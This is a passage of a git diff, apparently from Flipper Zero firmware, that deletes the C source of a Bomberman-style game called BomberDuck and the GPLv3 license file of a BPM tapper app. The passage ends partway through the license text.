&message_delay_10, - - &message_note_ds4, - &message_delay_10, - &message_sound_off, - &message_delay_10, - - &message_vibro_off, - NULL, -}; - -static const NotificationSequence bomb2 = { - &message_vibro_on, - &message_delay_25, - &message_vibro_off, - NULL, -}; - -static const NotificationSequence bomb_explore = { - &message_vibro_on, - &message_delay_50, - &message_vibro_off, - NULL, -}; - -static const NotificationSequence vibr1 = { - &message_vibro_on, - &message_delay_10, - &message_vibro_off, - &message_delay_10, - &message_vibro_on, - &message_delay_10, - &message_vibro_off, - &message_delay_10, - - NULL, -}; - -void intToStr(int num, char* str) { - int i = 0, sign = 0; - - if(num < 0) { - num = -num; - sign = 1; - } - - do { - str[i++] = num % 10 + '0'; - num /= 10; - } while(num > 0); - - if(sign) { - str[i++] = '-'; - } - - str[i] = '\0'; - - // Reverse the string - int j, len = i; - char temp; - for(j = 0; j < len / 2; j++) { - temp = str[j]; - str[j] = str[len - j - 1]; - str[len - j - 1] = temp; - } -} - -bool BFS() { - // Initialize visited array and queue - int visited[WorldSizeY][WorldSizeX] = {0}; - Queue q = {.front = 0, .rear = 0}; - // Mark the starting cell as visited and enqueue it - visited[world.player->y][world.player->x] = 1; - Cell startCell = {.row = world.player->y, .col = world.player->x}; - enqueue(&q, startCell); - // Traverse the field - while(!is_empty(&q)) { - // Dequeue a cell from the queue - Cell currentCell = dequeue(&q); - // Check if the current cell is the destination cell - if(currentCell.row == world.endy && currentCell.col == world.endx) { - return true; - } - // Check the neighboring cells - for(int rowOffset = -1; rowOffset <= 1; rowOffset++) { - for(int colOffset = -1; colOffset <= 1; colOffset++) { - // Skip diagonals and the current cell - if(rowOffset == 0 && colOffset == 0) { - continue; - } - if(rowOffset != 0 && colOffset != 0) { - continue; - } - // Calculate the row and column of the neighboring cell - int neighborRow = currentCell.row + rowOffset; - int neighborCol = currentCell.col + colOffset; - // Skip out-of-bounds cells and already visited cells - if(neighborRow < 0 || neighborRow >= WorldSizeY || neighborCol < 0 || - neighborCol >= WorldSizeX) { - continue; - } - if(visited[neighborRow][neighborCol]) { - continue; - } - // Mark the neighboring cell as visited and enqueue it - if(world.matrix[neighborRow][neighborCol] != 2) { - visited[neighborRow][neighborCol] = 1; - Cell neighborCell = {.row = neighborRow, .col = neighborCol}; - enqueue(&q, neighborCell); - } - } - } - } - return false; -} - -static void draw_callback(Canvas* canvas, void* ctx) { - furi_assert(ctx); - const BomberState* bomber_state = ctx; - - furi_mutex_acquire(bomber_state->mutex, FuriWaitForever); - if(!BFS()) { - init(); - } - canvas_clear(canvas); - - canvas_draw_icon(canvas, world.endx * 10 + 4, world.endy * 10 + 2, &I_end); - - if(world.running) { - for(size_t i = 0; i < WorldSizeY; i++) { - for(size_t j = 0; j < WorldSizeX; j++) { - switch(world.matrix[i][j]) { - case 0: - break; - case 1: - canvas_draw_icon(canvas, j * 10 + 4, i * 10 + 2, &I_box); - break; - case 2: - canvas_draw_icon(canvas, j * 10 + 4, i * 10 + 2, &I_unbreakbox); - break; - case 3: - canvas_draw_icon(canvas, j * 10 + 4, i * 10 + 2, &I_bomb0); - break; - case 4: - canvas_draw_icon(canvas, j * 10 + 4, i * 10 + 2, &I_bomb1); - break; - case 5: - canvas_draw_icon(canvas, j * 10 + 4, i * 10 + 2, &I_bomb2); - break; - case 6: - canvas_draw_icon(canvas, j * 10 + 4, i * 10 + 2, &I_explore); - world.matrix[i][j] = 0; - break; - } - } - } - - if(world.player->side) { - canvas_draw_icon( - canvas, world.player->x * 10 + 4, world.player->y * 10 + 2, &I_playerright); - } else { - canvas_draw_icon( - canvas, world.player->x * 10 + 4, world.player->y * 10 + 2, &I_playerleft); - } - - for(int i = 0; i < world.enemies_count; i++) { - if(world.enemies[i].level > 0) { - canvas_draw_icon( - canvas, world.enemies[i].x * 10 + 4, world.enemies[i].y * 10 + 2, &I_enemy1); - } else { - if(world.enemies[i].side) { - canvas_draw_icon( - canvas, - world.enemies[i].x * 10 + 4, - world.enemies[i].y * 10 + 2, - &I_enemyright); - } else { - canvas_draw_icon( - canvas, - world.enemies[i].x * 10 + 4, - world.enemies[i].y * 10 + 2, - &I_enemyleft); - } - } - } - } else { - canvas_set_font(canvas, FontPrimary); - if(world.player->x == world.endx && world.player->y == world.endy) { - if(world.level == 20) { - canvas_draw_str(canvas, 30, 35, "You win!"); - } else { - canvas_draw_str(canvas, 30, 35, "Next level!"); - char str[20]; - intToStr(world.level, str); - canvas_draw_str(canvas, 90, 35, str); - } - - } else { - canvas_draw_str(canvas, 30, 35, "You died :("); - } - } - - furi_mutex_release(bomber_state->mutex); -} - -static void input_callback(InputEvent* input_event, void* ctx) { - // Проверяем, что контекст не нулевой - furi_assert(ctx); - FuriMessageQueue* event_queue = ctx; - - furi_message_queue_put(event_queue, input_event, FuriWaitForever); -} - -int32_t bomberduck_app(void* p) { - UNUSED(p); - - // Текущее событие типа InputEvent - InputEvent event; - // Очередь событий на 8 элементов размера InputEvent - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - BomberState* bomber_state = malloc(sizeof(BomberState)); - - bomber_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); // Alloc Mutex - if(!bomber_state->mutex) { - FURI_LOG_E("BomberDuck", "cannot create mutex\r\n"); - furi_message_queue_free(event_queue); - free(bomber_state); - return 255; - } - - dolphin_deed(DolphinDeedPluginGameStart); - // Создаем новый view port - ViewPort* view_port = view_port_alloc(); - // Создаем callback отрисовки, без контекста - view_port_draw_callback_set(view_port, draw_callback, bomber_state); - // Создаем callback нажатий на клавиши, в качестве контекста передаем - // нашу очередь сообщений, чтоб запихивать в неё эти события - view_port_input_callback_set(view_port, input_callback, event_queue); - - // Создаем GUI приложения - Gui* gui = furi_record_open(RECORD_GUI); - // Подключаем view port к GUI в полноэкранном режиме - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); - notification_message_block(notification, &sequence_display_backlight_enforce_on); - - init(); - - // Бесконечный цикл обработки очереди событий - while(1) { - if(furi_message_queue_get(event_queue, &event, 100) == FuriStatusOk) { - furi_mutex_acquire(bomber_state->mutex, FuriWaitForever); - // Если нажата кнопка "назад", то выходим из цикла, а следовательно и из приложения - - if(event.type == InputTypePress) { - if(event.key == InputKeyOk) { - if(world.running) { - if(world.matrix[world.player->y][world.player->x] == 0 && - world.bombs_count < 2) { - notification_message(notification, &bomb2); - world.matrix[world.player->y][world.player->x] = 3; - Bomb bomb = {world.player->x, world.player->y, furi_get_tick()}; - world.bombs[world.bombs_count] = bomb; - world.bombs_count++; - } - } else { - init(); - } - } - if(world.running) { - if(event.key == InputKeyUp) { - if(world.player->y > 0 && - world.matrix[world.player->y - 1][world.player->x] == 0) - world.player->y--; - } - if(event.key == InputKeyDown) { - if(world.player->y < WorldSizeY - 1 && - world.matrix[world.player->y + 1][world.player->x] == 0) - world.player->y++; - } - if(event.key == InputKeyLeft) { - world.player->side = 0; - if(world.player->x > 0 && - world.matrix[world.player->y][world.player->x - 1] == 0) - world.player->x--; - } - if(event.key == InputKeyRight) { - world.player->side = 1; - if(world.player->x < WorldSizeX - 1 && - world.matrix[world.player->y][world.player->x + 1] == 0) - world.player->x++; - } - } - } else if(event.type == InputTypeLong) { - if(event.key == InputKeyBack) { - break; - } - } - } - if(world.running) { - if(world.player->x == world.endx && world.player->y == world.endy) { - notification_message(notification, &end); - world.running = 0; - world.level += 1; - if(world.level % 5 == 0) { - dolphin_deed(DolphinDeedPluginGameWin); - } - } - for(int i = 0; i < world.bombs_count; i++) { - if(furi_get_tick() - world.bombs[i].planted > - (unsigned long)max((3000 - world.level * 150), 1000)) { - vibration = false; - world.matrix[world.bombs[i].y][world.bombs[i].x] = 6; - notification_message(notification, &bomb_explore); - - for(int j = max(0, world.bombs[i].y - BombRange); - j < min(WorldSizeY, world.bombs[i].y + BombRange + 1); - j++) { - if(world.matrix[j][world.bombs[i].x] != 2) { - world.matrix[j][world.bombs[i].x] = 6; - if(j == world.player->y && world.bombs[i].x == world.player->x) { - notification_message(notification, &end); - world.running = 0; - } - for(int e = 0; e < world.enemies_count; e++) { - if(j == world.enemies[e].y && - world.bombs[i].x == world.enemies[e].x) { - if(world.enemies[e].level > 0) { - world.enemies[e].level--; - } else { - for(int l = e; l < world.enemies_count - 1; l++) { - world.enemies[l] = world.enemies[l + 1]; - } - world.enemies_count--; - } - } - } - } - } - - for(int j = max(0, world.bombs[i].x - BombRange); - j < min(WorldSizeX, world.bombs[i].x + BombRange + 1); - j++) { - if(world.matrix[world.bombs[i].y][j] != 2) { - world.matrix[world.bombs[i].y][j] = 6; - if(world.bombs[i].y == world.player->y && j == world.player->x) { - notification_message(notification, &end); - world.running = 0; - } - for(int e = 0; e < world.enemies_count; e++) { - if(world.bombs[i].y == world.enemies[e].y && - j == world.enemies[e].x) { - if(world.enemies[e].level > 0) { - world.enemies[e].level--; - } else { - for(int l = e; l < world.enemies_count - 1; l++) { - world.enemies[l] = world.enemies[l + 1]; - } - world.enemies_count--; - } - } - } - } - } - - for(int j = i; j < world.bombs_count - 1; j++) { - world.bombs[j] = world.bombs[j + 1]; - } - world.bombs_count--; - } else if( - furi_get_tick() - world.bombs[i].planted > - (unsigned long)max((3000 - world.level * 150) * 2 / 3, 666) && - world.matrix[world.bombs[i].y][world.bombs[i].x] != 5) { - world.matrix[world.bombs[i].y][world.bombs[i].x] = 5; - vibration = true; - - } else if( - furi_get_tick() - world.bombs[i].planted > - (unsigned long)max((3000 - world.level * 150) / 3, 333) && - world.matrix[world.bombs[i].y][world.bombs[i].x] != 4) { - world.matrix[world.bombs[i].y][world.bombs[i].x] = 4; - } - } - for(int e = 0; e < world.enemies_count; e++) { - if(world.player->y == world.enemies[e].y && - world.player->x == world.enemies[e].x) { - notification_message(notification, &end); - world.running = 0; - } - } - - for(int e = 0; e < world.enemies_count; e++) { - if(world.enemies[e].level > 0) { - if(furi_get_tick() - world.enemies[e].last > - (unsigned long)max((2000 - world.level * 100), 1000)) { - world.enemies[e].last = furi_get_tick(); - int move = rand() % 4; - switch(move) { - case 0: - if(world.enemies[e].y > 0 && - world.matrix[world.enemies[e].y - 1][world.enemies[e].x] != 2) - world.enemies[e].y--; - break; - case 1: - if(world.enemies[e].y < WorldSizeY - 1 && - world.matrix[world.enemies[e].y + 1][world.enemies[e].x] != 2) - world.enemies[e].y++; - break; - case 2: - world.enemies[e].side = 0; - if(world.enemies[e].x > 0 && - world.matrix[world.enemies[e].y][world.enemies[e].x - 1] != 2) - world.enemies[e].x--; - break; - case 3: - world.enemies[e].side = 1; - if(world.enemies[e].x < WorldSizeX - 1 && - world.matrix[world.enemies[e].y][world.enemies[e].x + 1] != 2) - world.enemies[e].x++; - default: - break; - } - } - } else { - if(furi_get_tick() - world.enemies[e].last > - (unsigned long)max((1000 - world.level * 50), 500)) { - world.enemies[e].last = furi_get_tick(); - int move = rand() % 4; - switch(move) { - case 0: - if(world.enemies[e].y > 0 && - world.matrix[world.enemies[e].y - 1][world.enemies[e].x] == 0) - world.enemies[e].y--; - break; - case 1: - if(world.enemies[e].y < WorldSizeY - 1 && - world.matrix[world.enemies[e].y + 1][world.enemies[e].x] == 0) - world.enemies[e].y++; - break; - case 2: - world.enemies[e].side = 0; - if(world.enemies[e].x > 0 && - world.matrix[world.enemies[e].y][world.enemies[e].x - 1] == 0) - world.enemies[e].x--; - break; - case 3: - world.enemies[e].side = 1; - if(world.enemies[e].x < WorldSizeX - 1 && - world.matrix[world.enemies[e].y][world.enemies[e].x + 1] == 0) - world.enemies[e].x++; - default: - break; - } - } - } - } - for(int e = 0; e < world.enemies_count; e++) { - for(int h = e + 1; h < world.enemies_count; h++) { - if(world.enemies[e].y == world.enemies[h].y && - world.enemies[e].x == world.enemies[h].x) { - world.enemies[h].level++; - for(int l = e; l < world.enemies_count - 1; l++) { - world.enemies[l] = world.enemies[l + 1]; - } - world.enemies_count--; - } - } - } - if(vibration) { - notification_message(notification, &vibr1); - } - } - - view_port_update(view_port); - furi_mutex_release(bomber_state->mutex); - } - - // Return to normal backlight settings - notification_message_block(notification, &sequence_display_backlight_enforce_auto); - furi_record_close(RECORD_NOTIFICATION); - // Специальная очистка памяти, занимаемой очередью - furi_message_queue_free(event_queue); - - // Чистим созданные объекты, связанные с интерфейсом - gui_remove_view_port(gui, view_port); - view_port_free(view_port); - - furi_mutex_free(bomber_state->mutex); - furi_record_close(RECORD_GUI); - free(bomber_state); - - return 0; -} diff --git a/applications/external/bpmtapper/LICENSE b/applications/external/bpmtapper/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/bpmtapper/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised 